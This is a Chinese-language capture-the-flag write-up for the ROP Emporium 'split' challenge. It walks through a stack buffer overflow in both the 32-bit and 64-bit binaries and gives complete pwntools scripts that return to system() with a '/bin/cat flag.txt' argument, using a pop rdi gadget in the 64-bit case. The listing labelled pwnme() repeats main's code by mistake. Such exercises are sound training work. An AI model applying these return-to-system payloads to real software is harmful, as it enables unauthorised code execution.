ropemporium上的鏈接
https://ropemporium.com/
32位
方法一:
checksec后試運(yùn)行,沒(méi)有開(kāi)什么特殊的保護(hù)

拖入IDA32位
main函數(shù) F5,把能點(diǎn)的都點(diǎn)一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("split by ROP Emporium");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}
點(diǎn)進(jìn)去pwnme()
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("split by ROP Emporium");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}

由上圖看出s距離ebp0x28,就是40,40+4等于44,可以寫(xiě)入96個(gè),還有很多空間使其棧溢出
gdb找偏移也是44

找到一個(gè)usefulFunction,一看就很useful,我們就用system這個(gè)函數(shù),點(diǎn)擊usefulFunction后看到text段調(diào)用了system,地址為0x08048657


但是里面的參數(shù)不是我們想要的,我們想要的是
system("/bin/cat flag.txt")
shift+F12找一下字符串

把這個(gè)換成system的參數(shù)
點(diǎn)它跳轉(zhuǎn)看到地址,字符串地址為0x0804A030

開(kāi)始寫(xiě)腳本
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
p = process('./split32')
system = 0x08048657
flag_addr = 0x0804A030
payload = ''
payload += 'A'*0x28
payload += p32(0)
payload += p32(system)
payload += p32(flag_addr)
p.sendline(payload)
p.interactive()
方法二:
找plt表上的system,地址為0x08048430

usefulString地址不變,還是0x0804A030
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./split32')
p = process('./split32')
system_plt = 0x08048430
#system_plt = elf.plt['system']
flag_addr = 0x0804A030
'''
payload = ''
payload += 'A'*44
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(flag_addr)
'''
payload = ''
payload += 'A'*0x28
payload += p32(0)
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(flag_addr)
p.sendline(payload)
p.interactive()
成功后

64位
64位基本是一樣的,不同點(diǎn)在于它們的傳參方式不同,64位是用寄存器存儲(chǔ)的,那我們先用ROPgadget找到第一個(gè)寄存器rdi的gadget
ROPgadget --binary split --only "pop|ret"

我們可以明顯看出0x400883是適用的
從下面這張圖看出填充字符為0x20+'A'*8或0x20+p64(0)

寫(xiě)腳本(就只用第一種方法啦)
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./split')
p = process('./split')
system = 0x400810
flag_addr = 0x601060
pop_rdi = 0x400883
payload = ''
payload += 'A'*0x20
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(flag_addr)
payload += p64(system)
p.sendline(payload)
p.interactive()
get shell

以上的flag均為ROPE{a_placeholder_32byte_flag!}